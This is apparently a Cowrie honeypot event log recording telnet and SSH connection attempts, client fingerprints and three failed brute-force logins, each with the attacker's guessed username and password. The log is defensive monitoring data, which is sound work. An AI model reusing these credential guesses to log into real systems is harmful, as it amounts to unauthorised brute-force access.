{"eventid":"cowrie.session.closed","duration":30.729485511779785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:31.052518Z","src_ip":"62.171.135.55","session":"ca6f9c194182","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919787168502808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:33.438207Z","src_ip":"62.171.135.55","session":"f1f8ed0f2731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":33734,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c875f411c1d","protocol":"telnet","message":"New connection: 62.171.135.55:33734 (159.203.135.109:23) [session: 4c875f411c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:34.491357Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":33738,"dst_ip":"159.203.135.109","dst_port":23,"session":"077d4d2dc4e7","protocol":"telnet","message":"New connection: 62.171.135.55:33738 (159.203.135.109:23) [session: 077d4d2dc4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:34.495303Z"}
{"eventid":"cowrie.session.closed","duration":30.87465214729309,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:36.110536Z","src_ip":"62.171.135.55","session":"76afa7092a3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62346625328064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:36.154929Z","src_ip":"62.171.135.55","session":"42a9a18de79e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42378,"dst_ip":"159.203.135.109","dst_port":23,"session":"24f57d60a38f","protocol":"telnet","message":"New connection: 62.171.135.55:42378 (159.203.135.109:23) [session: 24f57d60a38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:37.201905Z"}
{"eventid":"cowrie.session.closed","duration":31.17483949661255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:37.565759Z","src_ip":"62.171.135.55","session":"98ce878bfa1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":49228,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d3faa45eed7","protocol":"telnet","message":"New connection: 62.171.135.55:49228 (159.203.135.109:23) [session: 4d3faa45eed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:39.260240Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53362,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5ad25407ea6","protocol":"telnet","message":"New connection: 62.171.135.55:53362 (159.203.135.109:23) [session: b5ad25407ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:40.511617Z"}
{"eventid":"cowrie.session.closed","duration":30.282528162002563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:41.170538Z","src_ip":"62.171.135.55","session":"a556abcfd134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":57974,"dst_ip":"159.203.135.109","dst_port":23,"session":"63865af59e54","protocol":"telnet","message":"New connection: 62.171.135.55:57974 (159.203.135.109:23) [session: 63865af59e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:41.900739Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":59042,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b746161b631","protocol":"telnet","message":"New connection: 62.171.135.55:59042 (159.203.135.109:23) [session: 3b746161b631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:42.284786Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":59988,"dst_ip":"159.203.135.109","dst_port":23,"session":"fed1a26750f0","protocol":"telnet","message":"New connection: 62.171.135.55:59988 (159.203.135.109:23) [session: fed1a26750f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:42.531721Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34240,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b698ff58e0","protocol":"ssh","message":"New connection: 159.203.92.129:34240 (159.203.135.109:22) [session: 74b698ff58e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:42.638922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:42.642905Z","src_ip":"159.203.92.129","session":"74b698ff58e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:42.649297Z","src_ip":"159.203.92.129","session":"74b698ff58e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"code#520@nlpr","message":"login attempt [ansible/code#520@nlpr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:42.672719Z","src_ip":"159.203.92.129","session":"74b698ff58e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":34912,"dst_ip":"159.203.135.109","dst_port":23,"session":"0744a08b160f","protocol":"telnet","message":"New connection: 62.171.135.55:34912 (159.203.135.109:23) [session: 0744a08b160f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:43.377104Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":34962,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca640a211b6d","protocol":"telnet","message":"New connection: 62.171.135.55:34962 (159.203.135.109:23) [session: ca640a211b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:43.388808Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:43.683452Z","src_ip":"159.203.92.129","session":"74b698ff58e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37702,"dst_ip":"159.203.135.109","dst_port":23,"session":"f425e49dcc6d","protocol":"telnet","message":"New connection: 62.171.135.55:37702 (159.203.135.109:23) [session: f425e49dcc6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:44.221514Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37980,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f295c33c3b1","protocol":"telnet","message":"New connection: 62.171.135.55:37980 (159.203.135.109:23) [session: 4f295c33c3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:44.328425Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":38858,"dst_ip":"159.203.135.109","dst_port":23,"session":"946e01b5f8de","protocol":"telnet","message":"New connection: 62.171.135.55:38858 (159.203.135.109:23) [session: 946e01b5f8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:44.550664Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":39418,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9f44102bc1b","protocol":"telnet","message":"New connection: 62.171.135.55:39418 (159.203.135.109:23) [session: e9f44102bc1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:44.667316Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37816,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a17b2797f13","protocol":"telnet","message":"New connection: 62.171.135.55:37816 (159.203.135.109:23) [session: 6a17b2797f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:45.275202Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":41680,"dst_ip":"159.203.135.109","dst_port":23,"session":"fba6dbdc5569","protocol":"telnet","message":"New connection: 62.171.135.55:41680 (159.203.135.109:23) [session: fba6dbdc5569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:45.348432Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42278,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff7ca76b1689","protocol":"telnet","message":"New connection: 62.171.135.55:42278 (159.203.135.109:23) [session: ff7ca76b1689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:45.502563Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":44690,"dst_ip":"159.203.135.109","dst_port":23,"session":"625ca91a8190","protocol":"telnet","message":"New connection: 62.171.135.55:44690 (159.203.135.109:23) [session: 625ca91a8190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:46.242272Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":45634,"dst_ip":"159.203.135.109","dst_port":23,"session":"7902646d6895","protocol":"telnet","message":"New connection: 62.171.135.55:45634 (159.203.135.109:23) [session: 7902646d6895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:46.480703Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":48534,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfddd3d2d265","protocol":"telnet","message":"New connection: 62.171.135.55:48534 (159.203.135.109:23) [session: dfddd3d2d265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:47.279902Z"}
{"eventid":"cowrie.session.closed","duration":30.729079246520996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:55.067357Z","src_ip":"62.171.135.55","session":"7a7ffbd0e622","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117722988128662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:55.658911Z","src_ip":"62.171.135.55","session":"412c4797862b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":50146,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c24ddd14414","protocol":"telnet","message":"New connection: 62.171.135.55:50146 (159.203.135.109:23) [session: 6c24ddd14414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:56.785137Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53284,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f0a6b487cff","protocol":"telnet","message":"New connection: 62.171.135.55:53284 (159.203.135.109:23) [session: 9f0a6b487cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:57.723766Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":34388,"dst_ip":"159.203.135.109","dst_port":22,"session":"a28ebd2ddb2e","protocol":"ssh","message":"New connection: 43.159.177.40:34388 (159.203.135.109:22) [session: a28ebd2ddb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:03.492763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:03.497675Z","src_ip":"43.159.177.40","session":"a28ebd2ddb2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:03.570228Z","src_ip":"43.159.177.40","session":"a28ebd2ddb2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"user123","message":"login attempt [ubuntu/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:03.838808Z","src_ip":"43.159.177.40","session":"a28ebd2ddb2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:04.911778Z","src_ip":"43.159.177.40","session":"a28ebd2ddb2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.582003116607666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:05.073243Z","src_ip":"62.171.135.55","session":"4c875f411c1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618699073791504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:05.113899Z","src_ip":"62.171.135.55","session":"077d4d2dc4e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":34430,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7443ef98664","protocol":"ssh","message":"New connection: 156.227.233.77:34430 (159.203.135.109:22) [session: c7443ef98664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:06.006962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:06.012414Z","src_ip":"156.227.233.77","session":"c7443ef98664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:06.173323Z","src_ip":"156.227.233.77","session":"c7443ef98664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz$2wsx","message":"login attempt [ubuntu/1qaz$2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:06.848716Z","src_ip":"156.227.233.77","session":"c7443ef98664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00174140930176,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:07.054167Z","src_ip":"45.181.100.135","session":"463a08a55b6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":51830,"dst_ip":"159.203.135.109","dst_port":23,"session":"d46f5d49de78","protocol":"telnet","message":"New connection: 45.181.100.135:51830 (159.203.135.109:23) [session: d46f5d49de78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:07.461772Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:08.011309Z","src_ip":"156.227.233.77","session":"c7443ef98664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.984235525131226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:08.186026Z","src_ip":"62.171.135.55","session":"24f57d60a38f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52784752845764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:10.787831Z","src_ip":"62.171.135.55","session":"4d3faa45eed7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.562885284423828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:11.074409Z","src_ip":"62.171.135.55","session":"b5ad25407ea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19615149497986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:12.096760Z","src_ip":"62.171.135.55","session":"63865af59e54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649332523345947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:13.180959Z","src_ip":"62.171.135.55","session":"fed1a26750f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15049648284912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:13.435170Z","src_ip":"62.171.135.55","session":"3b746161b631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70204186439514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:14.090751Z","src_ip":"62.171.135.55","session":"ca640a211b6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735719919204712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:14.112737Z","src_ip":"62.171.135.55","session":"0744a08b160f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.416325092315674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:15.083516Z","src_ip":"62.171.135.55","session":"e9f44102bc1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879454135894775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:15.100840Z","src_ip":"62.171.135.55","session":"f425e49dcc6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55554461479187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:15.106089Z","src_ip":"62.171.135.55","session":"946e01b5f8de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854925870895386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:15.183245Z","src_ip":"62.171.135.55","session":"4f295c33c3b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774009943008423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:16.122325Z","src_ip":"62.171.135.55","session":"fba6dbdc5569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66414713859558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:16.166614Z","src_ip":"62.171.135.55","session":"ff7ca76b1689","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.967472314834595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:16.242582Z","src_ip":"62.171.135.55","session":"6a17b2797f13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":49780,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fbc73962ac9","protocol":"telnet","message":"New connection: 62.171.135.55:49780 (159.203.135.109:23) [session: 9fbc73962ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:16.554404Z"}
{"eventid":"cowrie.session.closed","duration":30.6064236164093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:17.087040Z","src_ip":"62.171.135.55","session":"7902646d6895","protocol":"telnet"}
